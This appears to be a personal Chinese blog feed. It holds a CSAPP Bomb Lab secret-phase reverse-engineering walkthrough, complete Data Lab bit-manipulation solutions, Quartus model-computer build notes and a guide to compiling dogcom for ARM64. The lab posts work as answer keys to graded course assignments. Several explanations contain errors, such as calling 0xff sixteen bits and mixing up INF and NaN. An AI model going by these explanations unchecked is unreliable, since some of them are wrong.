可以看到这个函数的功能是将一个字符串转换为长整型。第一个参数是字符串的起始地址；第二个参数是结束地址，这里传入一个0代表NULL；第三个参数则是进制，这里为10。返回值是转换结果。

那么这一整串代码的作用，就是输入一个整数。

asm

 8048ff6: 89 c3                 mov    %eax,%ebx
 8048ff8: 8d 40 ff              lea    -0x1(%eax),%eax
 8048ffb: 3d e8 03 00 00        cmp    $0x3e8,%eax
 8049000: 76 05                 jbe    8049007 <secret_phase+0x32>

这部分代码的作用是限制读取的整数在 $[1,1001]$ 范围内，减一是为了去除0。

asm

 8049007: 89 5c 24 04           mov    %ebx,0x4(%esp)
 804900b: c7 04 24 88 c0 04 08  movl   $0x804c088,(%esp)
 8049012: e8 6d ff ff ff        call   8048f84 <fun7>
 8049017: 83 f8 05              cmp    $0x5,%eax
 804901a: 74 05                 je     8049021 <secret_phase+0x4c>

这部分调用了 fun7，参数分别是像一个地址的立即数和刚刚输入的数。如果返回值为5，则成功解决Secret Phase。

下面是 fun7 的部分反汇编代码。

asm

 8048f88: 8b 54 24 20           mov    0x20(%esp),%edx
 8048f8c: 8b 4c 24 24           mov    0x24(%esp),%ecx
 8048f90: 85 d2                 test   %edx,%edx
 8048f92: 74 37                 je     8048fcb <fun7+0x47>

首先很容易看出来 fun7 一开始是检查edx是否为0，但暂时不知道那两个mov是什么意思。瞥一眼后面的代码，发现edx后面的地址多次作为参数被递归调用，于是决定看一眼edx。

label后面有序号，预示着后面可能还有值的存在，将预览范围扩展到下一个label出现前，发现排列有一定的规律。这一块内存似乎表示了一个三元组，由值和两个地址构成，符合一个二叉树节点的形式。按照这个形式把它组织起来，如下图。节点并不是按顺序组织的，写的时候对每个节点只写其值和左右字节点的地址，会更方便。

我们惊奇地发现这是一棵二叉搜索树，而且是十分平衡的AVL树，刚刚筛选范围在 $[1,1001]$ 的目的，正是保证输入的值有位置可放。GDB读到的label符合一个 $nxy$ 的格式，$x$ 代表层数（从1开始），$y$ 代表从左开始数的序号，如 $n46$ 正好是第四行第六个节点。传入 fun7 的第一个参数是AVL树的当前节点地址（而从 secret_phase 调用时是根节点地址），第二个参数是我们输入的数，分别放置在edx和ecx中，设为 node *p 和 int num。test指令的目的是检查当前节点是否存在（如果不存在则地址为0，相当于NULL），不存在则返回 - 1。

asm

1
2
3

 8048f94: 8b 1a                 mov    (%edx),%ebx
 8048f96: 39 cb                 cmp    %ecx,%ebx
 8048f98: 7e 13                 jle    8048fad <fun7+0x29>

这段代码比较了 num 和 p->val，如果前者不小于后者，则跳转。首先来看 num <p->val 的情况。

asm

 8048f9a: 89 4c 24 04           mov    %ecx,0x4(%esp)
 8048f9e: 8b 42 04              mov    0x4(%edx),%eax
 8048fa1: 89 04 24              mov    %eax,(%esp)
 8048fa4: e8 db ff ff ff        call   8048f84 <fun7>
 8048fa9: 01 c0                 add    %eax,%eax
 8048fab: eb 23                 jmp    8048fd0 <fun7+0x4c>

这部分调用了 fun7(p->left, num)，然后把返回值乘以2再返回。

asm

1
2
3

 8048fad: b8 00 00 00 00        mov    $0x0,%eax
 8048fb2: 39 cb                 cmp    %ecx,%ebx
 8048fb4: 74 1a                 je     8048fd0 <fun7+0x4c>

继续比较 num 和 p->val，如果相等，返回0。那么剩下的就是 num > p->val 的情况。

asm

 8048fb6: 89 4c 24 04           mov    %ecx,0x4(%esp)
 8048fba: 8b 42 08              mov    0x8(%edx),%eax
 8048fbd: 89 04 24              mov    %eax,(%esp)
 8048fc0: e8 bf ff ff ff        call   8048f84 <fun7>
 8048fc5: 8d 44 00 01           lea    0x1(%eax,%eax,1),%eax
 8048fc9: eb 05                 jmp    8048fd0 <fun7+0x4c>

调用 func7(p->right, num)，然后把返回值乘2加1再返回。

可以看到，func7所做的就是 “搜索” 的操作，我们所期望的返回值5就是根据输入数和节点的关系，通过一层一层递归中的运算构建出来的。借此，我们可以反推num在树中的位置。

首先num肯定存在于树中，因为如果不存在，必会返回 - 1，无法通过计算得到。很容易能够得到唯一解：$5=((0 \times 2+1) \times 2) \times 2+1$，也就是从根节点出发，路径为右、左、右，得出输入的值为0x2f，即47。

在对应的位置输入47（我这里直接暴力改寄存器和内存了），Secret Phase也就被解决了。

如果你看到这里的话，那我大概可以祝贺你成功解开了Bomb Lab。如果给予足够的时间，Bomb Lab是可以带来很多乐趣的，可以说是一个非常巧妙的实验。从一片汇编代码中挖出数据结构再到理清逻辑，是非常有成就感的事情。如果你想对Bomb Lab有更多的研究，可以查看下面的GitHub仓库，里面疑似是Bomb Lab的指导者源码，用于生成炸弹。但如果你还没做完，建议不要进入查看，毕竟正推就没什么意思了，你说呢？

kiliczsh/cmu-binary-bomb

CSAPP 2e Data Lab 笔记

Thu, 17 Mar 2022 00:00:00 +0000

本人环境：Ubuntu 22.04 LTS amd64，GCC 11.2.0，GNU Make 4.3

前言

这是《深入理解计算机系统》的第一个Lab，要求以指定的方式完成某种计算，通过填写函数实现。

不要忘了阅读 bits.c 开头的Integer Coding Rules和Floating Point Coding Rules，以及每题开头的要求，它规定了使用者可以执行的操作。

用二进制的思想，而不是十进制的思想，对完成题目有很大的帮助。

本笔记离不开参考资料的支持，我特意将其放至开头：

参考资料：

1. bitAnd

cpp

int bitAnd(int x, int y)
{
  // Just discrete mathematics. XY=\overline{X+Y}.
  return ~((~x) | (~y));
}

计算 x&y，但只能用 ~ 和 | 运算符。

离散数学的基础关系代数知识，由德摩根律，$XY=\overline{X+Y}$。

2. getByte

cpp

int getByte(int x, int n)
{
  int mask = 0xff;               // Leave only the last 2 bytes
  return (x>> (n << 3) & mask); // Right move 8n bits, i.e. n bytes
}

从 $x$ 中获取第 $n$ 位。

不要把 int x 当成一个整型了，直接想象它的二进制码。如果将指定位的左右两边全都去掉，这个数不就等于想要的单个位了吗？

去掉右边的数很容易，直接右移 $8n$ 位，这样想要的部分就直接到了最低位。而要去掉多余的高位，需要让它与 mask 按位与，来将高位置0。

那，mask 是个什么来头？先说说子网掩码：如果有两个IP地址，将它们分别与子网掩码做按位与运算，若结果相同，则这两个IP地址在同一个网段中。mask 有类似的功能，具体来说，这里的 mask 转换为二进制是1111 1111 1111 1111，如果作为一个int类型，前24位皆为0。将这个数与任何一个int进行按位与，结果就是将前24位全部置0的原数，因为 $0\&x=0$，$1\&x=x$，其中 $x=0\ or\ 1$。后面我们还会使用这个设计。

3. logicalShift

cpp

int logicalShift(int x, int n)
{
  int topMask = 0x1 <<(32 + ~n); // 32+~n=31-n, to get the top mask
  int lowerMask = (0x1 << (32 + ~n)) + ~0;
  return (x>> n) & (topMask | lowerMask);
}

对 $x$ 向右进行逻辑移位 $n$ 位。移位运算符采用的算术移位，在右移时补充的值与符号位相同，而算术移位一律补0。

像上题一样，我们可以算术移 $n$ 位，然后使用一个掩码来让补上的部分强制置0。这里参考了参考资料 1 的做法，简略来说就是为了避免未定义的行为，分别构建了高位和低位的掩码。具体的可以直接看原文。

很多题目中是不允许我们使用减法的，我们可以使用取反加一的办法直接得到补码，如上面代码中 $31-n=32+~n$。这个方法在下面也经常用到。

4. bitCount

cpp

int bitCount(int x)
{
  int mask = (0x55) | ((0x55) <<8); // 0x00005555
  mask = mask | (mask << 16);        // 0x55555555
  x = (x & mask) + (x>> 1 & mask);  // 2-bit sum
  mask = (0x33) | ((0x33) <<8);     // 0x00003333
  mask = mask | (mask << 16);        // 0x33333333
  x = (x & mask) + (x>> 2 & mask);  // 4-bit sum
  mask = (0x0f) | (0x0f << 8);       // 0x00000f0f
  mask = mask | (mask << 16);        // 0x0f0f0f0f
  x = (x & mask) + (x>> 4 & mask);  // 8-bit sum
  mask = (0xff) | (0xff << 16);      // 0x00ff00ff
  x = (x & mask) + (x>> 8 & mask);  // 16-bit sum
  mask = (0xff) | (0xff << 8);       // 0x0000ffff
  x = (x & mask) + (x>> 16 & mask); // 32-bit sum
  return x;
}

统计 $x$ 所有二进制位中 $1$ 的数目。

首先想到的是参考资料 2 中”2.2统计true的数目“部分的解法，总体的思想是二分法，通过不断合并相邻两个分区的1数量，得到整体1的数量。与上面的代码不同，它直接将五个掩码写进了程序。

cpp

int popcount(unsigned int x)
{
    x=(x&0x55555555)+(x>>1&0x55555555);
    x=(x&0x33333333)+(x>>2&0x33333333);
    x=(x&0x0F0F0F0F)+(x>>4&0x0F0F0F0F);
    x=(x&0x00FF00FF)+(x>>8&0x00FF00FF);
    x=(x&0x0000FFFF)+(x>>16&0x0000FFFF);
    return x;
}

将 0x55555555 转化为二进制，可以很容易得出它作为掩码的作用是只留下一个数中偶数位的部分（从0开始），其他置0，而函数中第一个语句的作用，就是将奇数位移到右边的偶数位上相加，并得出结果。第 $n$ 位的值也可以看作第 $n$ 位这个区间有多少个1，合并后。就是两位加起来有多少个1。

然后，第二行的作用是将第0-1位的1个数与第2-3位合并，以此类推，得到0-3位、4-7位，然后在第三行再进行合并…… 最后，将0-15位和16-31位合并，就是整个整型数的1个数。

配合下面的图可能能够更好地理解：

图源参考资料2，侵删

但是如果你想在datalab中这么填，是通不过测试的，因为十六进制常数的范围是 $0x00$~$0xff$，也就是说如此大的掩码是无法直接使用的。所以，我们需要自行从两位16进制数构造8位16进制数。拿第一个 mask 举例：

cpp

1
2

int mask = (0x55) | ((0x55) <<8); // 0x00005555
mask = mask | (mask << 16);        // 0x55555555

2位16进制能充当8位二进制。先通过按位与和左移8位（二进制）的操作，生成低4位十六进制，然后再通过左移和按位与的操作，将其复制到高4位一份。这样，掩码就构建好了。如将其压缩到一句中，分别给予左移24、16、8、0位，则运算符数量会超过限制。

5. bang

cpp

int bang(int x)
{
  x = (x>> 16) | x;
  x = (x>> 8) | x;
  x = (x>> 4) | x;
  x = (x>> 2) | x;
  x = (x>> 1) | x;
  return ~x & 0x1;
}

在不使用 $!$ 的情况下计算非 $x$。

非运算表现为，如果 $x$ 不为0，则结果为1，否则结果为0。也就是说，只要有任何一个二进制位为1，取非得到的结果就是0，那么我们就可以将 $x$ 的所有位 “压缩 “到第0位。如果 $x$ 中含有1，那么第0位就会是1。

最后一个语句是将 $x$ 按位取反，然后只留最后一位。这样返回的就是取非的结果了。

6. tmin

cpp

int tmin(void)
{
  return 1 << 31;
}

返回补码的最小值。

int型能表示的最大正数是 $2^{31}-1$，而 $2^{31}$ 可以故意让其上溢出，就可以得到补码的最小值了。

7. fitsBits

cpp

int fitsBits(int x, int n)
{
  int moveBits = 33 + ~n;                   // Equals to 32-n
  int result = (x << moveBits) >> moveBits; // Left move, and then right move
  return !(x ^ result);                     // If okay, result should be equal to x
}

如果 $x$ 能够用 $n$ 位补码表示，返回1。

如果你使用新版本Linux，可能会导致无法通过btest测试，换别人的正解代码也一样。如果遇到此问题，请使用老版本，实测Ubuntu 12.04 LTS（Linux 3.10）可用。此处的不同可能与下面的汇编代码不同有关：

既然题目想知道 $x$ 能否用 $n$ 位补码表示，那么就创造一个 $n$ 位补码的环境。具体地来讲，就是向左移，直到从第31位到原数最低位就是 $n$ 位。

如果这个数并不能用 $n$ 位补码表示，那么原数字的高位就会被 “挤掉”，而这样的数再右移，无法再恢复被挤掉的数字。如果能如此表示，那么这个数本身并不会受到任何损失；算术右移同样位数之后，就可以恢复原来的状态。

最后再将其与原数异或取反，就可以得到结果。

8. divpwr2

cpp

int divpwr2(int x, int n)
{
  int bias = (x>> 31) & ((1 << n) + ~0);
  return (x + bias) >> n;
}

返回 $x/2^n$，向零舍入。

右移运算会向下舍入，而题目要求负数向上舍入。CSAPP书中的解决方法是为负数添加一个bias（偏置）值 $2^k-1$，这样右移的时候就可以向上舍入了。x>>31 正是为了判断正负，提取了符号位。

9. negate

cpp

int negate(int x)
{
  return ~x + 1;
}

返回 $-x$。

计算补码，取反加一。

10. isPositive

cpp

int isPositive(int x)
{
  return !(!(x)) & !((x>> 31) & 1);
}

如果 $x$ 是一个正数，返回1。

正数的符号位是0，但符号位是0的也可能是0。内部先判断” 是否 $x \le 0$“，然后取非，就得到了是否为正数。

11. isLessOrEqual

cpp

int isLessOrEqual(int x, int y)
{
  int val = ((x + ~y) >> 31) & 1;
  x = x >> 31;
  y = y >> 31;
  return ((x & 1) | !y) & (((x & 1) & !y) | (val));
}

val取的是 $x-y-1$ 的符号位，如果 $x>y$ 才会为0（因为整型，$x \ge y+1$），否则为1。1是掩码，防止为负时右移补出来一堆不需要的1。

然后是取x和y的符号位，掩不掩都行。

最后还要判断溢出的情况，如果 $x<0,\ y>0$ 则直接返回1。

12. ilog2

cpp

int ilog2(int x)
{
  int mask;

  x = (x>> 1) | x;
  x = (x>> 2) | x;
  x = (x>> 4) | x;
  x = (x>> 8) | x;
  x = (x>> 16) | x;

  mask = (0x55) | ((0x55) <<8);     // 0x00005555
  mask = mask | (mask << 16);        // 0x55555555
  x = (x & mask) + (x>> 1 & mask);  // 2-bit sum
  mask = (0x33) | ((0x33) <<8);     // 0x00003333
  mask = mask | (mask << 16);        // 0x33333333
  x = (x & mask) + (x>> 2 & mask);  // 4-bit sum
  mask = (0x0f) | (0x0f << 8);       // 0x00000f0f
  mask = mask | (mask << 16);        // 0x0f0f0f0f
  x = (x & mask) + (x>> 4 & mask);  // 8-bit sum
  mask = (0xff) | (0xff << 16);      // 0x00ff00ff
  x = (x & mask) + (x>> 8 & mask);  // 16-bit sum
  mask = (0xff) | (0xff << 8);       // 0x0000ffff
  x = (x & mask) + (x>> 16 & mask); // 32-bit sum
  return x + ~0;
}

求 $log_2x$ 向下取整的值。

借鉴了参考资料 3 的做法，思路更加清晰，容易理解。首先我们知道，一个数以二进制表示，最高1位所对应的2的次方，就是 $log_2x$ 向下取整的值。举个例子来说，$(45)_{10}=(101101)_2=(1 \times 2^5+0 \times 2^4+1 \times 2^3+1 \times 2^2+0 \times 2^1+1 \times 2^0)_{10}$，那么就有 $log_2 45 = log_2 32 + log_2 \frac{45}{32}=5+x$，其中x肯定是一个小于1的数。那么，一个可行的思路就是找到最高位的1是第几位减一，但直接逐位右移再判断并不是可行的方法，因为较低位也可能为0，可能统计不到真正的最高位就以为是最高位了。所以，我们先把非最高位全都设成1，然后再统计1的个数即可。

先是类似于第5题 “Bang”的做法，将高位 “折” 下来。与第五题不同，这里移动的位数从低到高，因为先移16位的话，并不能保证高16位中能够正确地设1；相反的，第5题使用这种顺序则是可以的。

然后是第4题 “bitCount” 的做法，统计有多少个1，就可以得知最高位的1是第几位（从1开始计）。不过，由于第1位代表 $2^0$，最后还要将结果减一。

以下三道题全都是浮点数的题了。虽然参数看似并不是浮点数类型，但是二进制表示上，仍然是一个浮点数。某种程度上，这也是在鼓励学习者用二进制的方式思考问题。这三道题相比之前的限制条件更少，比如运算符都可以用了，还可以使用条件和循环控制语句。

13. float_neg

cpp

unsigned float_neg(unsigned uf)
{
  int c = 0x00ffffff;
  if ((~(uf << 1)) <c)
  {
    return uf;
  }
  else
  {
    return uf ^ (0x80000000);
  }
}

本题要求返回参数的相反数。如果参数是INF，则返回参数本身。

难度主要在判断INF上。INF的特征是指数域全为1，尾数域不全为0。一个可行的思路是通过比较指数域和尾数域的大小来区分是否为INF，但符号位会干扰比较，虽然理论上可以使用四个端点值分别比较大小得出结论，但未免有点不优雅。所以，这里向左移一位把符号位去掉，取反，然后和c比较大小。现在，前8位是取反的指数域，后23位是取反的尾数域，最后一位是左移补上的0。如果它是NaN，则此时前4位必然是0，后24位必然小于 0xffffff（或者 0xfffffe）。这样，只需要一次比较就可以搞定，非常优雅（确信）。

否则，就将最高位也就是符号位与1异或，就相当于取反了。

14. float_i2f

cpp

unsigned float_i2f(int x)
{
  int sign, exp = 0, frac = 0, i = 0;

  if (x == 0) // Two special situations, cannot be calculated normally
  {
    return 0;
  }
  if (x == 0x80000000)
  {
    return 0xcf000000;
  }

  sign = (x>> 31) & 1; // Get the sign bit & abs(x)
  if (sign)
  {
    x = -x;
  }

  i = 30; // Not 31 coz the top bit is always 0
  while (!(x>> i))
  {
    i--;
  }
  exp = i + 127; // Get the exponent. i is the E, unbiased

  x = x <<(31 - i);          // Left shift to clean zeroes, right shift to fit 23 bits...
  frac = (x>> 8) & 0x7fffff; // ...to get the fraction
  x = x & 0xff;
  frac += (x> 0x80) || ((x == 0x80) && (frac & 0x01)); // Round up if fraction is greater than 0.5
  if (frac>> 23)
  {
    exp++;
    frac = frac & 0x7fffff;
  }
  return (sign << 31) | (exp << 23) | frac;
}

将一个整形转化为浮点数格式。

建议直接看参考资料 4。

15. float_twice

cpp

unsigned float_twice(unsigned uf)
{
  int uf_nosign;
  int sign = uf & 0x80000000;   // sign bit
  int exp = uf & 0x7f800000;    // exponent bits
  int fraction = uf & 0x7fffff; // fraction bits
  uf_nosign = uf & 0x7fffffff;  // remove sign
  if ((uf_nosign>> 23) == 0x0) // denormalized condition
  {
    uf_nosign = uf_nosign << 1 | sign;
    return uf_nosign;
  }
  if ((uf_nosign>> 23) == 0xff) // special numbers (NaN and infty)
  {
    return uf;
  }
  // if ((exp>> 23) + 1 == 0xff)
  if (exp == 0x7f000000) // exponent overflow
  {
    return sign | 0x7f800000;
  }
  // return sign | (((exp>> 23) + 1) <<23) | fraction;
  return sign | (exp + 0x800000) | fraction;
}

要求将浮点数uf乘2。如果为NaN，返回原参数。

使用了参考资料 1 的做法，进行了一定的优化。首先，使用不同的掩码将符号、指数域和尾数域分别取出来。然后单独算出没有符号位的 $uf$，存到uf_nosign中。

第一个 if 语句判断的是指数域全为0的情况（需要右移23位，因为去掉尾数域之后仍然用0占位），也就是非规格化值。此时只需要将去掉符号位的uf左移一位，然后加上符号位（按位与），就可以得到想要的数。因为指数域全为0，所以即使尾数域左移导致溢出，也会表现为指数域 + 1而无其他危险后果，而这恰是我们想要的结果。

第二个 if 语句判断的是特殊值的情况。如果是NaN，直接返回uf肯定没问题，正如题目所说；如果是无限大，那么它的两倍还是无限，还是应该返回原数。

规格化的话，大体思路就是将指数域 + 1。第三个 if 语句判断的是指数域溢出的情况。因为单精度指数域只有8位，所以如果指数域 + 1已经是 $0xff$ 了，就不再表示一个正常的数了（变成特殊值）。

最后，排除了所有特殊情况，就是正常的规格化值，将阶码 + 1，拼上符号位和尾数就可以了。

有一些运算上的简化，通过预先的运算可以节省运算符的使用量，和上方被注释掉的语句是等效的，如果不能理解，可以看被注释的语句。

数电课程模型机设计：模型机整合

Mon, 27 Dec 2021 00:00:00 +0000

内容还未完成，等待更新，其中包含高度不稳定的内容，仅供参考。
文章更新较慢，可以先在GitHub浏览工程文件。

所有代码现已开放至GitHub：https://github.com/cyp0633/ModelComputer。建议在Releases代码里下载ZIP格式的源代码，更稳定。

同时提供一些资源文件，可以从https://drive.cyp0633.icu/s/eVc6获取，包含验证用的内存初始化MIF文件、实验报告和成品模型机图（PDF格式）。

本文大概遵循老师教学视频中使用的方法，即每次搭建几个元器件，并对其做验证。

关于之前部件的内容，请翻到本文底部，浏览“数电模型机”Tag下的其他文章。

模型机整体图如下图所示，后面的过程可能会用到控制信号和数据通路间的关系。

指令计数器、多路复用器、RAM、指令寄存器

指令计数器 PC，存储当前指令在RAM中存放的地址。
多路复用器 MUX，选择从PC、S和D的数据之一传入RAM。
随机存储器 RAM，存放待执行的命令。
指令寄存器 IR，用于暂存当前正在执行的指令。

这几部分较简单，建议跟随教学视频完成。

在调试RAM的过程中，如果遇到不能在LPM_FILE中输入"./xxx.mif"从而无法读取初始化内容的情况，可以用文本编辑器（VS Code等，实在没有的话记事本也行）打开项目BDF文件，查找定位现在LPM_FILE对应值的位置，将文件路径部分替换成下面这样：

verilog

  (parameter
    "LPM_FILE"
    "\"./example.mif\""
    "File containing initial contents of memory array"
    (type "PARAMETER_STRING"))

如果编辑mif时提示数字过大，那多半是默认十进制，要修改为二进制，可以用文本编辑器打开mif文件，将DATA_RADIX改成BIN。

如果在Quartus 9编译后的Timing Summary中出现"Slack: Not Operational"，则代表有锁存器，回去改模块的代码吧。我的代码中也有此提示，但这是故意而为之，是启停控制模块的必然结果，绕过后则不会有此提示。

通用寄存器组、ALU

通用寄存器组，下降沿响应，用来保存操作数和运算结果等信息。
算术逻辑单元ALU，组合部件，用于执行加、减、与、非运算，或提供数据的通路。

搭建电路的方法，视频里已给出，所以这里主要介绍验证的方法。

这里我们只需要仿真验证通用寄存器组和ALU两个模块，所以添加引脚的时候只需要添加这两个模块有关的引脚，即CLK、M、SEL、RA、RWBA、WE、C、DREG、SREG、Z。

DREG和SREG输出主要用于截取寄存器输出到ALU输入间传送的数据，方便debug。

此外，寄存器内的数值默认一开始都是0（Undefined），除了一点一点用ALU指令自加得到想要的数值之外，也可以在Verilog内直接给寄存器赋初值（默认为8’b0），如：

verilog

1
2
3

    reg [7:0] a=8'b00110110;
    reg [7:0] b=8'b10001011;
    reg [7:0] c=8'b11001110;

根据ALU引脚关系来确定输入的ｍ和sel值。以下的顺序并没有严格指定，但请使你的测试覆盖各种情况，以免组装完成后出现意想不到的错误，下同。

第一个上升沿，我们先执行加法。clk设为初始值1、5ns增1的波形，m=1允许运算，sel=1001代表ADD，ra和rwba输入加的寄存器地址，we=0允许数据输入。

这样，你就可以在c、z和上升沿后的dreg中看到运算结果。

然后第二个上升沿，我们执行减法。和前面差不多，只是sel=0110。减法时ALU运算的是t=b-a，对应的是dreg-sreg，也就是rwba指向的值减raa指向的值，对应关系下同。

按位与和取反也差不太多，这么搞就行了。

仿真波形如下图所示（不要在意最下面那三个REG，有点问题）。

波形看起来很奇怪？请不要忘了，ALU是组合部件，运算很快完成；寄存器是时序部件，更新需要等下降沿。

移位逻辑

移位逻辑，组合部件，用于将输入的数据循环向左向右移，将溢出的位另输出至Cf。

在上面的结构图中，移位逻辑是放在ALU后面的。当然首先要把移位逻辑模块放到图上了。

因为左移右移进行的时候，肯定是t=b的，ALU不需要输出Cf，所以我们可以直接用一个或门将两路数据连接起来。

也可以在t和a之间接一个输出，方便观察。

反正针脚又没怎么变，所以可以沿用寄存器和ALU的波形文件，只需加入fbus/flbus/frbus输入就行了。

在波形文件中，sel表示ALU执行计算的时候（1001/0110/1011/0101），fbus=1，flbus和frbus=0，代表移位逻辑作为数据通路，直接将输入的数据输出。

sel=1010时，代表RSR或RSL，ALU作为数据通路，让移位逻辑负责移动数据，得留两个下降沿的时间，一个给左移一个给右移。

仿真波形如下图。

40-60ns处，就是左移一下右移一下，恢复原来的样子。进位完全正常。

控制信号产生逻辑、SM、指令译码器、状态寄存器

控制信号产生逻辑，组合部件，接收指令译码器输出，产生每个模块所需要的控制信号。
SM，下降沿敏感，用于区别取指令周期和执行指令周期。
指令译码器，组合部件，将8位指令码映射为对应指令。
状态寄存器，下降沿敏感，存储cf和zf，并在使能为1的时候改变。

之前的RAM电路需要依靠三态门来隔离输入和输出，而现在我们直接将总线接到双向的dio口上，同时负责输入输出。所以总线上的数据要协调好。

然后就是把剩下的元件一次加进去，搭建的时候可以参考上面的模型机整体结构连接。只连上这几个元件而没有其他功能加入的电路没截图，但带有调试引脚的模型机的结构大概如下图。

记得将一些信号连接到output引脚，多留一些调试用的输出，这样便于查看各种控制信号的值和过程量，方便debug，比如控制信号、总线数据、通用寄存器输出、多路复用器输出、指令寄存器输出、指令计数器的输出。可以参考上图设置输出引脚。

整合与调试

MIF文件编写

当你认为上面的部件全都连接完成的时候，只需要时钟信号、输入和一个写得正确的MIF文件就可以让模型机跑起来了。这个MIF文件定义了RAM在开始运行时的内容，但仿真结束或FPGA板断电之后并不会被修改，因为RAM断电即丢数据的特性是by design的，真实的电脑也是这样。

随着时钟的flip-flop，指令计数器的值改变，它的一个一个值传入RAM的address端，dio端就读出了指令或是地址（JMP/JZ/JC指令）内容。如果是指令，就将其送入指令译码器，然后变成控制信号，进行下一步的操作。因为指令计数器的自增或是装载特性，模型机就可以自动寻找下一个指令执行，而指令需要在MIF文件中初始化。

一句话来概括，就是以前用控制信号或手动输入指令来控制，属于走一步教一步；现在用MIF文件让它自己读指令，相当于记住了下面的指令内容，给它一个信号它就能自己按路径跑。

MIF文件从0开始向下编写，除三种跳转指令占两位外，每个指令占一位地址。遇到跳转，则与if语句的逻辑相似。

输入与输出

正如实验四和上面我们提到的，三态门可以控制通断，从而控制输入输出。只要将输入总线和输出总线与模型机相连，然后分别用三态门（Quartus中搜索TRI）隔开，将输入输出使能控制信号作为条件，外部输入输出部分就完成了。下图中的inputdata另有输入引脚连接，图中未绘出。注意大于一位的都要用总线绘制。三态门的作用是在使能为1时原样通过数据，否则门后为高阻态。

停机（HALT）和NOP指令

HALT指令通过将SM_EN置0，从而停止取指实现。如果要恢复运行，只需要加一个输入，将SM_EN拉到1即可。所谓的”真正的停机“，可能指的是门控时钟？没有太大必要实现。

NOP指令需要让模型机保持现在的状态两个时钟周期，然后执行下一条指令。这个时候你什么都不需要做，只需要让WE=1，禁止总线向寄存器输入数据。

调试

还记得我们创建的一大堆调试引脚吗？它们的作用就是输出过程量，在执行出错的时候找到是哪里的信号出错了，从而针对性改正。有点像打断点添加中间变量检测，不是吗？因为指令常常牵一发而动全身，我们可以找到发现异常的地方，然后逐条往回推，直到找到真正执行错的地方。至于怎么调试，就很依赖对模型机结构的熟悉程度了。

不过这里有一种情况很难查出来。如果你发现总线上输入/输出的数据并不是你想要的数据，特别是凭空不知道从哪冒出来的数据，多半是总线上输出打架了：同时只有一个部件能够在模型机总线上写入数据，很可能是移位逻辑。

标准测试指令文档

标准测试指令由老师给出，包含了一些分支，能够检验大部分指令的执行情况，所以如果你能够实现所有指令，建议使用标准指令文档。

对于电脑仿真的文档，需要预先将修改寄存器代码，将C寄存器的值初始化为1000 0000。除此之外，还需要在第3-4个时钟周期输入1000 0011，才能按照预期的情况运行。

对于下板的测试文档，需要将输入长期设为1000 0011，毕竟执行很快（3MHz），你无法在输入的一瞬间将按钮拨上去，然后瞬间拨下来。

下板测试

分配引脚

Assignments - Pin

时钟使用6MHz的CLK1，将clk分配至Pin 17。

输入使用开关，比如从高位到低位71、70、69、67、65、64、63、60，代表左边8个开关，正好对应从高位到低位8位输入。

输出使用LED灯，比如118、115、114、113、112、104、103、101，代表左边8个LED灯。如果你想用数码管，大概思路是将8位输出转BCD码，然后使用一个译码器轮流输出（因为是共阴极数码管）。

下载

连接板子，打开Programmer，在Hardware Setup中选择设备，然后点击Start即可。如下图。

如果你做到现在，你就做出了一台足够优秀的模型机。我做出最终的成品图，可以下载开头链接中的文件来浏览。以下模块不会增加基本功能，也不会魔改出流水线四发射双ALU分支预测之类的骚操作，但（可能）可以增强使用体验。

附加模块设计

这部分建议参考我的设计报告和代码来研究，在文章顶部链接中。

启停控制

这是一个优先级非常高的启停控制，因为它控制着输入到模型机内的时钟。本是为按钮设计的，没写消抖，就放到开关上了。

将开始按钮作为输入，将暂停按钮作为重置。在INIT状态下，只要检测到开始按钮

**副作用：过不了Timing Requirements。**因为将时钟阻断会造成锁存，从而clock hold变为N/A。

状态显示

用于显示停机原因，HALT或是上个模块造成的Pause。

向凌老师致敬，没有她的帮助，我可能会晚很长时间才能做出像样的模型机。

为 ARM64 的 OpenWrt 软路由编译 dogcom

Sun, 19 Dec 2021 00:00:00 +0000

近日发现小米AC2100性能实在太过弱鸡，不能很好满足搞事情的需求，遂购入FriendlyPi R2S一台作软路由。但苦于校园网宽带需要使用Dr.com客户端，而之前使用的dogcom第三方客户端只能在MIPS架构运行，不能兼容ARM64的软路由处理器，在这个问题解决前无法作为主路由使用，网上也没找到现成的包。但好在该项目是开源的，我们便可以自己编译一个。

先放一个编译完成的dogcom客户端链接，大小735KB：点这里。如果你只是想找客户端，OK，到这里就可以退出了。

原项目地址：mchome/dogcom

显然大部分人的电脑处理器是AMD64架构，直接用AMD64的GCC当然不能正常编译。对于跨架构的编译，网络上很大一部分的解决方案都是使用交叉编译，但这个方法似乎挺麻烦的。转念一想，既然大部分人都有Android手机，而这手机又是ARM64架构的，如果用它编译出Linux的二进制文件，不就简单了？

显然早就有不少人打了Android手机的算盘，做出了可以在其上运行Linux系统的方案。解决方案大致有Termux和Linux Deploy等几种，这里使用Linux Deploy，因其SSH比较方便，但需要Root——我刚好有。

meefik/linuxdeploy

大致的步骤可以参阅 https://my.oschina.net/zss1993/blog/1790223，但就在我的Android 11系统的小米10 Pro上的情况来说，需要说明一下：

不需要Busybox，可以直接使用。
文章作者使用的是老版本，如果你使用新版本遇到不同的部分，可以酌情选择或者保持默认。
ARM64的手机当然是无法安装x86或AMD64镜像的，反过来也不行，除非你搞个QEMU，当然这也可以作为一个替代方案。
个人认为没必要设置挂载，在PC上使用WinSCP更舒服。

安装好Ubuntu后，使用电脑SSH连接同局域网中手机IP，即可控制容器中的Linux系统。我选择了Ubuntu 18.04 LTS Bionic Beaver，理论上Debian系也都差不多。

输入以下命令：

bash

sudo apt install build-essential # 安装必备依赖库和编译器
git clone https://github.com/mchome/dogcom # 下载代码
cd dogcom # 进入文件夹
make static=y # 编译并使用静态库，下面讲

使用静态库可以避免使用不同编译器时找不到动态链接库的情况，但文件大小会从80KB增长至700多KB。

然后使用WinSCP把那个拷贝到R2S的某个目录，再把你的配置文件拷进去，执行就可以了。

关于如何生成配置文件，可以参考 https://www.right.com.cn/forum/thread-215978-1-1.html。

效果大概是这样子。

等有空了再折腾下ipk的搞法。

参考文献

qemu /lib/ld-linux-aarch64.so.1: No such file or directory_深空深蓝的博客 - CSDN 博客 _ld-linux-aarch64.so.1

makefile 强制使用静态链接库 _xiexievv 的专栏 - CSDN 博客 _makefile static

【Linux Deploy】一、Linux Deploy 安装配置使用教程 - MaxBill 个人空间 - OSCHINA - 中文开源技术交流社区

This content is licensed under a Creative Commons Attribution-ShareAlike 4.0 International license.

数电课程模型机设计：SM & 指令寄存器 & 状态寄存器 & 指令计数器 & 通用寄存器组 & RAM（Verilog 实现）

Wed, 15 Dec 2021 00:00:00 +0000

